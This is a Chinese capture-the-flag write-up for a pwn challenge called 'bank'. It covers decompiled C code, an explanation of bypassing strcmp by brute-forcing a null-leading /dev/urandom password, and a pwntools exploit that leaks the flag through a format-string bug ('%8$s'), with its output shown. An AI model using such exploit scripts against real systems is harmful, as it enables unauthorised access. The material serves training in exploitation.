bank

第六届网络空间安全大赛pwn签到题

主函数如下,可以看见有格式化字符串漏洞但是要先绕过strcmp,很可惜没有溢出

我们就去看密码生成函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-B4h]
void *buf; // [rsp+10h] [rbp-B0h]
char v7[8]; // [rsp+18h] [rbp-A8h] BYREF
char format[32]; // [rsp+20h] [rbp-A0h] BYREF
char s[64]; // [rsp+40h] [rbp-80h] BYREF
char s1[56]; // [rsp+80h] [rbp-40h] BYREF
unsigned __int64 v11; // [rsp+B8h] [rbp-8h]

v11 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to security bank!");
puts("Please enter your account:");
fgets(s, 50, stdin);
generate_password();
puts("Please enter your password:");
fgets(s1, 50, stdin);
if ( !strcmp(s1, password) )
{
puts("Do you want to check your account balance?");
__isoc99_scanf("%s", v7);
if ( strcmp(v7, "yes") )
exit(0);
buf = malloc(0x26uLL);
fd = open("flag.txt", 0);
read(fd, buf, 0x26uLL);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("Please input your private code: ");
fgets(format, 20, stdin);
printf("Your input is: ");
printf(format);
putchar(10);
if ( !strcmp(format, "heihei") )
printf("Your account balance is 99");
else
printf("Your private code is wrong!");
}
else
{
puts("Your password is wrong!");
}
return __readfsqword(0x28u) ^ v11;
}

密码生成函数如下

/dev/urandom是一个linux系统自带的随机生成伪随机数据的文件

fgets遇见\n或者到文件尾部终止

1
2
3
4
5
6
7
8
int generate_password()
{
FILE *stream; // [rsp+8h] [rbp-8h]

stream = fopen("/dev/urandom", "r");
fgets(password, 50, stream);
return fclose(stream);
}

在main中的strcmp第二个参数若含有\x00则在遇见\x00就终止比较返回0

我们可以猜想/dev/urandom是否有可能在开头便是/x00\n

答案是肯定的,有可能

那么脚本就出来了,格式化漏洞的偏移flag存在堆上但是open返回值给了fd

相当于变量fd指向存放flag的堆我们找format与fd的偏移即可

gdb调试,如果懒就和我一样直接手动爆破反正数字也不大

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
context.log_level='debug'
while True:
r = process('./bank')
try:
r.sendlineafter('account:','halo')
r.sendlineafter('password:','\x00')
r.recvuntil('Do you want to check your account balance?')
r.sendline('yes')
#gdb.attach(r,"b *0x4014C1")
break
except:
r.close()
continue

r.sendlineafter('Please input your private code: ','%8$s')


r.interactive()

结果如下,一般运气不好也就爆破的几千次,对于这种短脚本执行是很快的。

1
2
3
4
5
6
7
8
[*] Process './bank' stopped with exit code 0 (pid 3728)
[DEBUG] Received 0x37 bytes:
'Your input is: flag{1111}\n'
'\n'
'\n'
'Your private code is wrong!'
Your input is: flag{1111}